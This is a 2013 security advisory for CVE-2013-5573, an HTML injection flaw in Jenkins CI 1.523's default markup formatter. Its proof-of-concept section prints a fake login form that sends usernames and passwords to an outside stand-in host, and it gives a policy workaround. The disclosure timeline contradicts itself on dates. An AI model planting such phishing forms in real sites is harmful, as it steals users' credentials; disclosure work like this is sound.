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01. ### Advisory Information ###
Title: Default markup formatter permits offsite-bound forms
Date published : 2013-12-16
Date of last update: 2013-12-16
Vendors contacted : Jenkins CI v 1.523
Discovered by: Christian Catalano
Severity: Low
02. ### Vulnerability Information ###
CVE reference: CVE-2013-5573
CVSS v2 Base Score: 4.7
CVSS v2 Vector : (AV:N/AC:L/Au:M/C:P/I:P/A:N)
Component/s : Jenkins CI v 1.523
Class : HTML Injection
03. ### Introduction ###
Jenkins CI is an extendable open source continuous integration server
http://jenkins-ci.org.
04. ### Vulnerability Description ###
The default installation and configuration of Jenkins CI is prone to a
security vulnerability. The Jenkins CI default markup formatter permits
offsite-bound forms. This vulnerability could be exploited by a remote
attacker (a malicious user) to inject malicious persistent HTML script
code (application side).
05. ### Technical Description / Proof of Concept Code ###
The vulnerability is located in the 'Descriotion' input field of the
User Configuration function:
https://localhost:9444/jenkins/user/attacker/configure
To reproduce the vulnerability, the attacker (a malicious user) can add
the malicious HTML script code:
<form method="POST" action="http://www.mocksite.org/login/login.php.">
Username: <input type="text" name="username" size="15" /><br />
Password: <input type="password" name="passwort" size="15" /><br />
<div align="center">
<p><input type="submit" value="Login" /></p>
</div>
</form>
in the 'Descriotion' input field and click on save button.
The code execution happens when the victim (an unaware user) view the
'People List'
https://localhost:9444/jenkins/asynchPeople/
and click on attacker user id.
06. ### Business Impact ###
Exploitation of the persistent web vulnerability requires a low
privilege web application user account.
Successful exploitation of the vulnerability results in persistent
phishing and persistent external redirects.
07. ### Systems Affected ###
This vulnerability was tested against:
Jenkins CI v1.523
Older versions are probably affected too, but they were not checked.
08. ### Vendor Information, Solutions and Workarounds ###
Currently, there are no known upgrades or patches to correct this
vulnerability. It is possible to temporarily mitigate the flaw by
implementing the following workaround:
'MyspacePolicy' permits
tag("form", "action", ONSITE_OR_OFFSITE_URL,
"method");
Fix 'MyspacePolicy' by restricting the policy to ONSITE_URL only or
perhaps <form> could be banned entirely.
09. ### Credits ###
This vulnerability has been discovered by:
Christian Catalano aka wastasy ch(dot)catalano(at)gmail(dot)com
10. ### Vulnerability History ###
August 21th, 2013: Vulnerability identification
August 4th, 2013: Vendor notification [Jenkins CI]
November 19th, 2013: Vulnerability confirmation [Jenkins CI]
November 19th, 2013: Vendor Solution
December 16th, 2013: Vulnerability disclosure
11. ### Disclaimer ###
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of
this information.
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